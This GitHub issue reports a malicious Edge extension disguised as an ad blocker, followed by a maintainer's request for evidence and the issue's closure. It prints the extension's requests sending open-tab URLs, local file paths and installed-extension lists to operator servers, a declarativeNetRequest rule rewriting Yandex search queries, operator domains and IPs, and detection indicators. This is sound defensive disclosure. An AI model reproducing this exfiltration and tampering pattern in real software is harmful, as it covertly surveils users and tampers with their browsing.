Skip to content

Malicious Microsoft Edge extension — user tracking and blocks #639

Closed

Description

@vnmostube

In short

My name is Vladislav, I have discovered a
malicious Microsoft Edge extension that causes real harm to users. The extension
has already been removed from the store, yet it continues to run on user machines —
they have received no notification and have no way to find out about it on their own.


What happens to users

A user installs the extension believing it is an ordinary ad blocker. On the surface
that is exactly how it looks. Meanwhile, in the background, the extension:

  • On browser launch, sends the URLs of all open tabs to the operator's analytics servers
  • Intercepts and covertly modifies the user's search requests
  • Injects third-party content on top of website pages
  • Initiates automatic repeated requests, because of which anti-bot systems treat the
    activity as an attack and block the user

The person simply uses the browser and starts getting blocked on websites for no
visible reason. There is no indication that the extension is to blame.


Extension details

Name:    Adblock - бесплатный блокировщик рекламы
ID:      ledmdmfdofnjdbangoiehplgmkmekekc
Version: 37.16
Browser: Microsoft Edge 147.0.3912.72
Status:  Removed from the store, still running for users

How it works

On every browser launch the extension sends activity signals to the operator's C2
server:

POST https://adblockpl.com/api/v2/extensions/activity
Authorization: Bearer <token>
Extension-Id: ledmdmfdofnjdbangoiehplgmkmekekc
Extension-Version: 37.16

{"type": 1}
{"type": 2}

On launch it sends the URLs of all open tabs to the analytics server:

POST https://analytics.get-rebates.com/api/extension/urls

{
  "url": "https://example.com/page",
  "extensionId": "b127db2b8ffc4432bd2fb0d42a9e2765-edge-822",
  "extensionVersion": "37.16",
  "tabId": 1475304028,
  "referrer": "",
  "extensions": ["ghbmnnjooekpmoecnnnilnnbdlolhkhi"]
}

Note the -edge-822 suffix in the extensionId field — the operator's
infrastructure clearly tracks users broken down by browser. The extensions field
means the operator also collects the list of all other extensions installed in the
browser. Local user files (file:///) are transmitted as well.

The extension fetches the request-tampering configuration from a separate endpoint:

GET https://analytics.get-rebates.com/search-config/get

Response:
{"ok": true, "data": [{"id": "<value>"}]}

Based on this configuration it installs interception rules via declarativeNetRequest:

chrome.declarativeNetRequest.updateDynamicRules({
  addRules: [{
    action: {
      type: "redirect",
      redirect: {
        transform: {
          queryTransform: {
            removeParams: [
              "search_source", "sourceid", "form", "lr"
            ],
            addOrReplaceParams: [{
              key: "id",
              value: "<value from C2>"
            }]
          }
        }
      }
    },
    condition: {
      urlFilter: "||ya.ru/search*",
      resourceTypes: ["main_frame"]
    }
  }
  // analogous rules with condition.urlFilter "||yandex.ru/search*" and "||yandex.kz/search*"
  ]
})

The interception rules fire only on search requests to ya.ru/search,
yandex.ru/search and yandex.kz/search — the mechanism has no other targets in
the code. This is exactly where the user gets blocked: the repeated requests
initiated by the extension are treated by the respective services' anti-bot systems
as automated activity.

The configuration is fetched dynamically on every launch — the operator can change
the parameters remotely for all users at once without updating the extension.

In addition, the extension injects third-party banners into website pages:

GET https://turboboost.pro/api/banners
GET https://turboboost.pro/api/configs
GET https://s3.turboboost.pro/turboboost/chadgpt/2yandexSearch.webp

Operator infrastructure

adblockpl.com
get-rebates.com
analytics.get-rebates.com
turboboost.pro / s3.turboboost.pro
mallbery.com / savematik.com
IP: 185.234.59.0/24, 185.162.11.14

The infrastructure pattern suggests the operator may have other active extensions of
the same origin in the store.


Indicators for finding similar extensions

In code:
— declarativeNetRequest redirect on user search requests
— queryTransform removing traffic source-attribution parameters
— POST requests with open-tab URLs to external servers on browser start
— fetching configuration from a remote C2 on every browser launch
— calls to turboboost.pro for content injection

In permissions:
— <all_urls> + webRequest + tabs for a declared ad-blocker function

What I ask

The extension has been removed from the store, but users who have it installed keep
suffering right now. Two things that would genuinely help:

  1. Force-disable the extension for users who have it installed and notify them with a
    recommendation to check their browser. Removal from the store alone does not do this.

  2. Check the store for other extensions connecting to the operator's infrastructure
    listed above.

Activity

  1. self-assigned this
    on Jul 6, 2026
  2. added
    Trackedthe issue is valid and tracked on our backlog.
    Edge AddonsLabel to filter all items related to Edge Addons
    on Jul 6, 2026
  3. added theissue type on Jul 6, 2026
  4. Rahul-Bauri commented on Jul 6, 2026

    @Rahul-Bauri
    Collaborator

    Hi vnmostube Thank you for bringing this matter to our attention and for providing the detailed information regarding the extension "Adblock - бесплатный блокировщик рекламы" (ID: ledmdmfdofnjdbangoiehplgmkmekekc).
    To help our engineering team investigate the reported behavior thoroughly, could you please provide the following additional information:

    • A HAR file capturing the network activity that demonstrates the reported behavior.
    • Relevant screenshots showing the observed issue, including any evidence of the extension's activity, injected content, search request modifications, or website blocks experienced by users.
    • If possible, the specific steps you used to reproduce the behavior so that the team can validate the findings in a test environment.

    These details will help the engineering team analyze the reported activity, reproduce the issue, and conduct a more comprehensive investigation.
    We appreciate your efforts in reporting this issue and look forward to your response.

  5. Rahul-Bauri commented on Jul 17, 2026

    @Rahul-Bauri
    Collaborator

    Closing this issue as we have not received the requested details needed to investigate further. If you continue to experience the issue, please feel free to open a new bug report and include all the requested information so that we can engage the engineering team and investigate the issue in more detail. Thank you!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Labels

Edge AddonsLabel to filter all items related to Edge AddonsTrackedthe issue is valid and tracked on our backlog.

Type

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions